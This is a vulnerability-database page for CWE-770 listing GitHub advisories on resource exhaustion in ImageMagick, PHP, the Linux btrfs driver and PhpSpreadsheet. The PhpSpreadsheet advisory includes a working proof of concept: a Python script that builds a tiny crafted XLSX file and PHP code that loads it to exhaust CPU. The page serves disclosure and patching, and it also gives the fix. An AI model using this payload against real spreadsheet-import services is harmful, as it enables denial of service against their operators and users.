CWE-770
AllowedAllocation of Resources Without Limits or Throttling
Abstraction: Base · Status: Incomplete
The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.
3013 vulnerabilities reference this CWE, most recent first.
GHSA-79PR-X8CF-VHGW
Vulnerability from github – Published: 2022-05-13 01:17 – Updated: 2025-04-20 03:44The ReadVIFFImage function in coders/viff.c in ImageMagick 7.0.6-6 allows remote attackers to cause a denial of service (memory consumption) via a crafted VIFF file.
{
"affected": [],
"aliases": [
"CVE-2017-12692"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-09-01T21:29:00Z",
"severity": "HIGH"
},
"details": "The ReadVIFFImage function in coders/viff.c in ImageMagick 7.0.6-6 allows remote attackers to cause a denial of service (memory consumption) via a crafted VIFF file.",
"id": "GHSA-79pr-x8cf-vhgw",
"modified": "2025-04-20T03:44:16Z",
"published": "2022-05-13T01:17:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-12692"
},
{
"type": "WEB",
"url": "https://github.com/ImageMagick/ImageMagick/issues/653"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2019/05/msg00015.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2020/09/msg00007.html"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/201711-07"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/3681-1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-79RP-C2FH-G5J7
Vulnerability from github – Published: 2022-05-02 03:50 – Updated: 2024-02-15 21:31PHP before 5.2.12 and 5.3.x before 5.3.1 does not restrict the number of temporary files created when handling a multipart/form-data POST request, which allows remote attackers to cause a denial of service (resource exhaustion), and makes it easier for remote attackers to exploit local file inclusion vulnerabilities, via multiple requests, related to lack of support for the max_file_uploads directive.
{
"affected": [],
"aliases": [
"CVE-2009-4017"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-11-24T00:30:00Z",
"severity": "MODERATE"
},
"details": "PHP before 5.2.12 and 5.3.x before 5.3.1 does not restrict the number of temporary files created when handling a multipart/form-data POST request, which allows remote attackers to cause a denial of service (resource exhaustion), and makes it easier for remote attackers to exploit local file inclusion vulnerabilities, via multiple requests, related to lack of support for the max_file_uploads directive.",
"id": "GHSA-79rp-c2fh-g5j7",
"modified": "2024-02-15T21:31:24Z",
"published": "2022-05-02T03:50:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-4017"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/54455"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A10483"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A6667"
},
{
"type": "WEB",
"url": "http://lists.apple.com/archives/security-announce/2010//Mar/msg00001.html"
},
{
"type": "WEB",
"url": "http://marc.info/?l=bugtraq\u0026m=127680701405735\u0026w=2"
},
{
"type": "WEB",
"url": "http://news.php.net/php.announce/79"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2009/Nov/228"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/37482"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/37821"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/40262"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/41480"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/41490"
},
{
"type": "WEB",
"url": "http://support.apple.com/kb/HT4077"
},
{
"type": "WEB",
"url": "http://www.acunetix.com/blog/websecuritynews/php-multipartform-data-denial-of-service"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2009/dsa-1940"
},
{
"type": "WEB",
"url": "http://www.itrc.hp.com/service/cki/docDisplay.do?docId=emr_na-c02512995"
},
{
"type": "WEB",
"url": "http://www.mandriva.com/security/advisories?name=MDVSA-2009:303"
},
{
"type": "WEB",
"url": "http://www.mandriva.com/security/advisories?name=MDVSA-2009:305"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2009/11/20/2"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2009/11/20/7"
},
{
"type": "WEB",
"url": "http://www.php.net/ChangeLog-5.php"
},
{
"type": "WEB",
"url": "http://www.php.net/releases/5_2_12.php"
},
{
"type": "WEB",
"url": "http://www.php.net/releases/5_3_1.php"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/507982/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2009/3593"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-7C6M-4442-2X6M
Vulnerability from github – Published: 2026-04-29 20:24 – Updated: 2026-05-13 16:31Summary
The XLSX reader's ColumnAndRowAttributes::readRowAttributes() method reads row numbers from XML attributes without validating them against the spreadsheet maximum row limit (AddressRange::MAX_ROW = 1,048,576). An attacker can craft a minimal XLSX file (~1.6KB) containing a <row r="999999999"/> element that inflates cachedHighestRow to 999,999,999, causing any subsequent row iteration to attempt ~1 billion loop cycles and exhaust CPU resources.
Details
In src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php at line 216, the row index is cast directly from XML without bounds checking:
// ColumnAndRowAttributes.php:216
$rowIndex = (int) $row['r']; // No validation against AddressRange::MAX_ROW
This value flows through setRowAttributes() (line 126) → $this->worksheet->getRowDimension($rowNumber) (line 60), which updates the cached highest row in Worksheet.php:1348:
// Worksheet.php:1342-1349
public function getRowDimension(int $row): RowDimension
{
if (!isset($this->rowDimensions[$row])) {
$this->rowDimensions[$row] = new RowDimension($row);
$this->cachedHighestRow = max($this->cachedHighestRow, $row);
}
return $this->rowDimensions[$row];
}
The inflated cachedHighestRow is then returned by getHighestRow() (line 1099) and used as the default end bound in RowIterator::resetEnd() (RowIterator.php:86):
// RowIterator.php:86
$this->endRow = $endRow ?: $this->subject->getHighestRow();
Notably, column attributes already have equivalent validation at line 161 (AddressRange::MAX_COLUMN_INT), and cell coordinates are validated in Coordinate::coordinateFromString() (line 40) against MAX_ROW. The row dimension attribute path bypasses both of these checks.
PoC
Step 1: Create the malicious XLSX file (~1.6KB)
import zipfile
import io
content_types = '<?xml version="1.0" encoding="UTF-8"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/></Types>'
rels = '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/></Relationships>'
workbook = '<?xml version="1.0" encoding="UTF-8"?><workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"><sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets></workbook>'
wb_rels = '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/></Relationships>'
sheet = '<?xml version="1.0" encoding="UTF-8"?><worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"><sheetData><row r="1"><c r="A1"><v>1</v></c></row><row r="999999999" ht="15"/></sheetData></worksheet>'
with zipfile.ZipFile('dos_row.xlsx', 'w', zipfile.ZIP_DEFLATED) as zf:
zf.writestr('[Content_Types].xml', content_types)
zf.writestr('_rels/.rels', rels)
zf.writestr('xl/workbook.xml', workbook)
zf.writestr('xl/_rels/workbook.xml.rels', wb_rels)
zf.writestr('xl/worksheets/sheet1.xml', sheet)
print("Created dos_row.xlsx")
Step 2: Load with PhpSpreadsheet (CPU exhaustion)
<?php
require 'vendor/autoload.php';
use PhpOffice\PhpSpreadsheet\IOFactory;
$reader = IOFactory::createReader('Xlsx');
$spreadsheet = $reader->load('dos_row.xlsx');
$sheet = $spreadsheet->getActiveSheet();
echo "Highest row: " . $sheet->getHighestRow() . "\n";
// Output: Highest row: 999999999
// This will consume CPU for ~144 seconds (999M iterations)
foreach ($sheet->getRowIterator() as $row) {
// CPU exhaustion
}
Expected output: getHighestRow() returns 999999999. Any row iteration hangs indefinitely.
Impact
- CPU Denial of Service: A 1.6KB crafted XLSX file causes ~999 million loop iterations in any application that iterates rows using
getRowIterator()or usesgetHighestRow()as a loop bound. Estimated CPU burn is ~144 seconds per file. - Memory Exhaustion: Applications that accumulate data during iteration (e.g., importing rows into a database, building arrays) will also exhaust memory.
- Amplification: The ratio of input size to resource consumption is extreme — 1,580 bytes triggers nearly 1 billion iterations.
- Common Attack Surface: PhpSpreadsheet is widely used in web applications that accept user-uploaded spreadsheets for import/processing, making this easily exploitable remotely.
Recommended Fix
Add row bounds validation in readRowAttributes() at line 216, matching the column validation pattern already present at line 161:
// src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php:216
// Before:
$rowIndex = (int) $row['r'];
// After:
$rowIndex = (int) $row['r'];
if ($rowIndex < 1 || $rowIndex > AddressRange::MAX_ROW) {
continue;
}
The AddressRange import is already present at line 5 of this file. This fix is consistent with the existing cell coordinate validation in Coordinate::coordinateFromString() and the column validation at line 161.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.6.0"
},
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "5.7.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.10.4"
},
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "3.3.0"
},
{
"fixed": "3.10.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.4.4"
},
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "2.2.0"
},
{
"fixed": "2.4.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.1.15"
},
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.1.16"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.30.3"
},
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.30.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-40902"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-29T20:24:13Z",
"nvd_published_at": "2026-05-12T22:16:33Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe XLSX reader\u0027s `ColumnAndRowAttributes::readRowAttributes()` method reads row numbers from XML attributes without validating them against the spreadsheet maximum row limit (`AddressRange::MAX_ROW = 1,048,576`). An attacker can craft a minimal XLSX file (~1.6KB) containing a `\u003crow r=\"999999999\"/\u003e` element that inflates `cachedHighestRow` to 999,999,999, causing any subsequent row iteration to attempt ~1 billion loop cycles and exhaust CPU resources.\n\n## Details\n\nIn `src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php` at line 216, the row index is cast directly from XML without bounds checking:\n\n```php\n// ColumnAndRowAttributes.php:216\n$rowIndex = (int) $row[\u0027r\u0027]; // No validation against AddressRange::MAX_ROW\n```\n\nThis value flows through `setRowAttributes()` (line 126) \u2192 `$this-\u003eworksheet-\u003egetRowDimension($rowNumber)` (line 60), which updates the cached highest row in `Worksheet.php:1348`:\n\n```php\n// Worksheet.php:1342-1349\npublic function getRowDimension(int $row): RowDimension\n{\n if (!isset($this-\u003erowDimensions[$row])) {\n $this-\u003erowDimensions[$row] = new RowDimension($row);\n $this-\u003ecachedHighestRow = max($this-\u003ecachedHighestRow, $row);\n }\n return $this-\u003erowDimensions[$row];\n}\n```\n\nThe inflated `cachedHighestRow` is then returned by `getHighestRow()` (line 1099) and used as the default end bound in `RowIterator::resetEnd()` (RowIterator.php:86):\n\n```php\n// RowIterator.php:86\n$this-\u003eendRow = $endRow ?: $this-\u003esubject-\u003egetHighestRow();\n```\n\nNotably, column attributes already have equivalent validation at line 161 (`AddressRange::MAX_COLUMN_INT`), and cell coordinates are validated in `Coordinate::coordinateFromString()` (line 40) against `MAX_ROW`. The row dimension attribute path bypasses both of these checks.\n\n## PoC\n\n**Step 1: Create the malicious XLSX file (~1.6KB)**\n\n```python\nimport zipfile\nimport io\n\ncontent_types = \u0027\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\u003cTypes xmlns=\"http://schemas.openxmlformats.org/package/2006/content-types\"\u003e\u003cDefault Extension=\"rels\" ContentType=\"application/vnd.openxmlformats-package.relationships+xml\"/\u003e\u003cDefault Extension=\"xml\" ContentType=\"application/xml\"/\u003e\u003cOverride PartName=\"/xl/workbook.xml\" ContentType=\"application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml\"/\u003e\u003cOverride PartName=\"/xl/worksheets/sheet1.xml\" ContentType=\"application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml\"/\u003e\u003c/Types\u003e\u0027\n\nrels = \u0027\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\u003cRelationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\"\u003e\u003cRelationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument\" Target=\"xl/workbook.xml\"/\u003e\u003c/Relationships\u003e\u0027\n\nworkbook = \u0027\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\u003cworkbook xmlns=\"http://schemas.openxmlformats.org/spreadsheetml/2006/main\" xmlns:r=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships\"\u003e\u003csheets\u003e\u003csheet name=\"Sheet1\" sheetId=\"1\" r:id=\"rId1\"/\u003e\u003c/sheets\u003e\u003c/workbook\u003e\u0027\n\nwb_rels = \u0027\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\u003cRelationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\"\u003e\u003cRelationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet\" Target=\"worksheets/sheet1.xml\"/\u003e\u003c/Relationships\u003e\u0027\n\nsheet = \u0027\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\u003cworksheet xmlns=\"http://schemas.openxmlformats.org/spreadsheetml/2006/main\"\u003e\u003csheetData\u003e\u003crow r=\"1\"\u003e\u003cc r=\"A1\"\u003e\u003cv\u003e1\u003c/v\u003e\u003c/c\u003e\u003c/row\u003e\u003crow r=\"999999999\" ht=\"15\"/\u003e\u003c/sheetData\u003e\u003c/worksheet\u003e\u0027\n\nwith zipfile.ZipFile(\u0027dos_row.xlsx\u0027, \u0027w\u0027, zipfile.ZIP_DEFLATED) as zf:\n zf.writestr(\u0027[Content_Types].xml\u0027, content_types)\n zf.writestr(\u0027_rels/.rels\u0027, rels)\n zf.writestr(\u0027xl/workbook.xml\u0027, workbook)\n zf.writestr(\u0027xl/_rels/workbook.xml.rels\u0027, wb_rels)\n zf.writestr(\u0027xl/worksheets/sheet1.xml\u0027, sheet)\n\nprint(\"Created dos_row.xlsx\")\n```\n\n**Step 2: Load with PhpSpreadsheet (CPU exhaustion)**\n\n```php\n\u003c?php\nrequire \u0027vendor/autoload.php\u0027;\n\nuse PhpOffice\\PhpSpreadsheet\\IOFactory;\n\n$reader = IOFactory::createReader(\u0027Xlsx\u0027);\n$spreadsheet = $reader-\u003eload(\u0027dos_row.xlsx\u0027);\n$sheet = $spreadsheet-\u003egetActiveSheet();\n\necho \"Highest row: \" . $sheet-\u003egetHighestRow() . \"\\n\";\n// Output: Highest row: 999999999\n\n// This will consume CPU for ~144 seconds (999M iterations)\nforeach ($sheet-\u003egetRowIterator() as $row) {\n // CPU exhaustion\n}\n```\n\n**Expected output:** `getHighestRow()` returns 999999999. Any row iteration hangs indefinitely.\n\n## Impact\n\n- **CPU Denial of Service:** A 1.6KB crafted XLSX file causes ~999 million loop iterations in any application that iterates rows using `getRowIterator()` or uses `getHighestRow()` as a loop bound. Estimated CPU burn is ~144 seconds per file.\n- **Memory Exhaustion:** Applications that accumulate data during iteration (e.g., importing rows into a database, building arrays) will also exhaust memory.\n- **Amplification:** The ratio of input size to resource consumption is extreme \u2014 1,580 bytes triggers nearly 1 billion iterations.\n- **Common Attack Surface:** PhpSpreadsheet is widely used in web applications that accept user-uploaded spreadsheets for import/processing, making this easily exploitable remotely.\n\n## Recommended Fix\n\nAdd row bounds validation in `readRowAttributes()` at line 216, matching the column validation pattern already present at line 161:\n\n```php\n// src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php:216\n// Before:\n$rowIndex = (int) $row[\u0027r\u0027];\n\n// After:\n$rowIndex = (int) $row[\u0027r\u0027];\nif ($rowIndex \u003c 1 || $rowIndex \u003e AddressRange::MAX_ROW) {\n continue;\n}\n```\n\nThe `AddressRange` import is already present at line 5 of this file. This fix is consistent with the existing cell coordinate validation in `Coordinate::coordinateFromString()` and the column validation at line 161.",
"id": "GHSA-7c6m-4442-2x6m",
"modified": "2026-05-13T16:31:37Z",
"published": "2026-04-29T20:24:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-7c6m-4442-2x6m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40902"
},
{
"type": "PACKAGE",
"url": "https://github.com/PHPOffice/PhpSpreadsheet"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "PhpSpreadsheet has CPU Denial of Service via Unbounded Row Number in XLSX Row Dimensions"
}
GHSA-7C9X-M5V8-VVJ9
Vulnerability from github – Published: 2025-03-12 12:30 – Updated: 2025-03-13 18:32In the Linux kernel, the following vulnerability has been resolved:
btrfs: fix double accounting race when btrfs_run_delalloc_range() failed
[BUG] When running btrfs with block size (4K) smaller than page size (64K, aarch64), there is a very high chance to crash the kernel at generic/750, with the following messages: (before the call traces, there are 3 extra debug messages added)
BTRFS warning (device dm-3): read-write for sector size 4096 with page size 65536 is experimental BTRFS info (device dm-3): checking UUID tree hrtimer: interrupt took 5451385 ns BTRFS error (device dm-3): cow_file_range failed, root=4957 inode=257 start=1605632 len=69632: -28 BTRFS error (device dm-3): run_delalloc_nocow failed, root=4957 inode=257 start=1605632 len=69632: -28 BTRFS error (device dm-3): failed to run delalloc range, root=4957 ino=257 folio=1572864 submit_bitmap=8-15 start=1605632 len=69632: -28 ------------[ cut here ]------------ WARNING: CPU: 2 PID: 3020984 at ordered-data.c:360 can_finish_ordered_extent+0x370/0x3b8 [btrfs] CPU: 2 UID: 0 PID: 3020984 Comm: kworker/u24:1 Tainted: G OE 6.13.0-rc1-custom+ #89 Tainted: [O]=OOT_MODULE, [E]=UNSIGNED_MODULE Hardware name: QEMU KVM Virtual Machine, BIOS unknown 2/2/2022 Workqueue: events_unbound btrfs_async_reclaim_data_space [btrfs] pc : can_finish_ordered_extent+0x370/0x3b8 [btrfs] lr : can_finish_ordered_extent+0x1ec/0x3b8 [btrfs] Call trace: can_finish_ordered_extent+0x370/0x3b8 [btrfs] (P) can_finish_ordered_extent+0x1ec/0x3b8 [btrfs] (L) btrfs_mark_ordered_io_finished+0x130/0x2b8 [btrfs] extent_writepage+0x10c/0x3b8 [btrfs] extent_write_cache_pages+0x21c/0x4e8 [btrfs] btrfs_writepages+0x94/0x160 [btrfs] do_writepages+0x74/0x190 filemap_fdatawrite_wbc+0x74/0xa0 start_delalloc_inodes+0x17c/0x3b0 [btrfs] btrfs_start_delalloc_roots+0x17c/0x288 [btrfs] shrink_delalloc+0x11c/0x280 [btrfs] flush_space+0x288/0x328 [btrfs] btrfs_async_reclaim_data_space+0x180/0x228 [btrfs] process_one_work+0x228/0x680 worker_thread+0x1bc/0x360 kthread+0x100/0x118 ret_from_fork+0x10/0x20 ---[ end trace 0000000000000000 ]--- BTRFS critical (device dm-3): bad ordered extent accounting, root=4957 ino=257 OE offset=1605632 OE len=16384 to_dec=16384 left=0 BTRFS critical (device dm-3): bad ordered extent accounting, root=4957 ino=257 OE offset=1622016 OE len=12288 to_dec=12288 left=0 Unable to handle kernel NULL pointer dereference at virtual address 0000000000000008 BTRFS critical (device dm-3): bad ordered extent accounting, root=4957 ino=257 OE offset=1634304 OE len=8192 to_dec=4096 left=0 CPU: 1 UID: 0 PID: 3286940 Comm: kworker/u24:3 Tainted: G W OE 6.13.0-rc1-custom+ #89 Hardware name: QEMU KVM Virtual Machine, BIOS unknown 2/2/2022 Workqueue: btrfs_work_helper [btrfs] (btrfs-endio-write) pstate: 404000c5 (nZcv daIF +PAN -UAO -TCO -DIT -SSBS BTYPE=--) pc : process_one_work+0x110/0x680 lr : worker_thread+0x1bc/0x360 Call trace: process_one_work+0x110/0x680 (P) worker_thread+0x1bc/0x360 (L) worker_thread+0x1bc/0x360 kthread+0x100/0x118 ret_from_fork+0x10/0x20 Code: f84086a1 f9000fe1 53041c21 b9003361 (f9400661) ---[ end trace 0000000000000000 ]--- Kernel panic - not syncing: Oops: Fatal exception SMP: stopping secondary CPUs SMP: failed to stop secondary CPUs 2-3 Dumping ftrace buffer: (ftrace buffer empty) Kernel Offset: 0x275bb9540000 from 0xffff800080000000 PHYS_OFFSET: 0xffff8fbba0000000 CPU features: 0x100,00000070,00801250,8201720b
[CAUSE] The above warning is triggered immediately after the delalloc range failure, this happens in the following sequence:
- Range [1568K, 1636K) is dirty
1536K 1568K 1600K 1636K 1664K | |/////////|////////| |
Where 1536K, 1600K and 1664K are page boundaries (64K page size)
-
Enter extent_writepage() for page 1536K
-
Enter run_delalloc_nocow() with locke ---truncated---
{
"affected": [],
"aliases": [
"CVE-2024-58089"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-12T10:15:16Z",
"severity": "MODERATE"
},
"details": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: fix double accounting race when btrfs_run_delalloc_range() failed\n\n[BUG]\nWhen running btrfs with block size (4K) smaller than page size (64K,\naarch64), there is a very high chance to crash the kernel at\ngeneric/750, with the following messages:\n(before the call traces, there are 3 extra debug messages added)\n\n BTRFS warning (device dm-3): read-write for sector size 4096 with page size 65536 is experimental\n BTRFS info (device dm-3): checking UUID tree\n hrtimer: interrupt took 5451385 ns\n BTRFS error (device dm-3): cow_file_range failed, root=4957 inode=257 start=1605632 len=69632: -28\n BTRFS error (device dm-3): run_delalloc_nocow failed, root=4957 inode=257 start=1605632 len=69632: -28\n BTRFS error (device dm-3): failed to run delalloc range, root=4957 ino=257 folio=1572864 submit_bitmap=8-15 start=1605632 len=69632: -28\n ------------[ cut here ]------------\n WARNING: CPU: 2 PID: 3020984 at ordered-data.c:360 can_finish_ordered_extent+0x370/0x3b8 [btrfs]\n CPU: 2 UID: 0 PID: 3020984 Comm: kworker/u24:1 Tainted: G OE 6.13.0-rc1-custom+ #89\n Tainted: [O]=OOT_MODULE, [E]=UNSIGNED_MODULE\n Hardware name: QEMU KVM Virtual Machine, BIOS unknown 2/2/2022\n Workqueue: events_unbound btrfs_async_reclaim_data_space [btrfs]\n pc : can_finish_ordered_extent+0x370/0x3b8 [btrfs]\n lr : can_finish_ordered_extent+0x1ec/0x3b8 [btrfs]\n Call trace:\n can_finish_ordered_extent+0x370/0x3b8 [btrfs] (P)\n can_finish_ordered_extent+0x1ec/0x3b8 [btrfs] (L)\n btrfs_mark_ordered_io_finished+0x130/0x2b8 [btrfs]\n extent_writepage+0x10c/0x3b8 [btrfs]\n extent_write_cache_pages+0x21c/0x4e8 [btrfs]\n btrfs_writepages+0x94/0x160 [btrfs]\n do_writepages+0x74/0x190\n filemap_fdatawrite_wbc+0x74/0xa0\n start_delalloc_inodes+0x17c/0x3b0 [btrfs]\n btrfs_start_delalloc_roots+0x17c/0x288 [btrfs]\n shrink_delalloc+0x11c/0x280 [btrfs]\n flush_space+0x288/0x328 [btrfs]\n btrfs_async_reclaim_data_space+0x180/0x228 [btrfs]\n process_one_work+0x228/0x680\n worker_thread+0x1bc/0x360\n kthread+0x100/0x118\n ret_from_fork+0x10/0x20\n ---[ end trace 0000000000000000 ]---\n BTRFS critical (device dm-3): bad ordered extent accounting, root=4957 ino=257 OE offset=1605632 OE len=16384 to_dec=16384 left=0\n BTRFS critical (device dm-3): bad ordered extent accounting, root=4957 ino=257 OE offset=1622016 OE len=12288 to_dec=12288 left=0\n Unable to handle kernel NULL pointer dereference at virtual address 0000000000000008\n BTRFS critical (device dm-3): bad ordered extent accounting, root=4957 ino=257 OE offset=1634304 OE len=8192 to_dec=4096 left=0\n CPU: 1 UID: 0 PID: 3286940 Comm: kworker/u24:3 Tainted: G W OE 6.13.0-rc1-custom+ #89\n Hardware name: QEMU KVM Virtual Machine, BIOS unknown 2/2/2022\n Workqueue: btrfs_work_helper [btrfs] (btrfs-endio-write)\n pstate: 404000c5 (nZcv daIF +PAN -UAO -TCO -DIT -SSBS BTYPE=--)\n pc : process_one_work+0x110/0x680\n lr : worker_thread+0x1bc/0x360\n Call trace:\n process_one_work+0x110/0x680 (P)\n worker_thread+0x1bc/0x360 (L)\n worker_thread+0x1bc/0x360\n kthread+0x100/0x118\n ret_from_fork+0x10/0x20\n Code: f84086a1 f9000fe1 53041c21 b9003361 (f9400661)\n ---[ end trace 0000000000000000 ]---\n Kernel panic - not syncing: Oops: Fatal exception\n SMP: stopping secondary CPUs\n SMP: failed to stop secondary CPUs 2-3\n Dumping ftrace buffer:\n (ftrace buffer empty)\n Kernel Offset: 0x275bb9540000 from 0xffff800080000000\n PHYS_OFFSET: 0xffff8fbba0000000\n CPU features: 0x100,00000070,00801250,8201720b\n\n[CAUSE]\nThe above warning is triggered immediately after the delalloc range\nfailure, this happens in the following sequence:\n\n- Range [1568K, 1636K) is dirty\n\n 1536K 1568K 1600K 1636K 1664K\n | |/////////|////////| |\n\n Where 1536K, 1600K and 1664K are page boundaries (64K page size)\n\n- Enter extent_writepage() for page 1536K\n\n- Enter run_delalloc_nocow() with locke\n---truncated---",
"id": "GHSA-7c9x-m5v8-vvj9",
"modified": "2025-03-13T18:32:19Z",
"published": "2025-03-12T12:30:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-58089"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/0283ee1912c8e243c931f4ee5b3672e954fe0384"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/21333148b5c9e52f41fafcedec3810b56a5e0e40"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/72dad8e377afa50435940adfb697e070d3556670"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7CG6-PVX5-J75J
Vulnerability from github – Published: 2022-05-13 01:17 – Updated: 2025-04-20 03:44The ReadBMPImage function in coders/bmp.c in ImageMagick 7.0.6-6 allows remote attackers to cause a denial of service (memory consumption) via a crafted BMP file.
{
"affected": [],
"aliases": [
"CVE-2017-12693"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-09-01T21:29:00Z",
"severity": "HIGH"
},
"details": "The ReadBMPImage function in coders/bmp.c in ImageMagick 7.0.6-6 allows remote attackers to cause a denial of service (memory consumption) via a crafted BMP file.",
"id": "GHSA-7cg6-pvx5-j75j",
"modified": "2025-04-20T03:44:16Z",
"published": "2022-05-13T01:17:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-12693"
},
{
"type": "WEB",
"url": "https://github.com/ImageMagick/ImageMagick/issues/652"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2019/05/msg00015.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2020/09/msg00007.html"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/201711-07"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/3681-1"
}
],
"schema_version": "1.4.0",
"severity": [
{
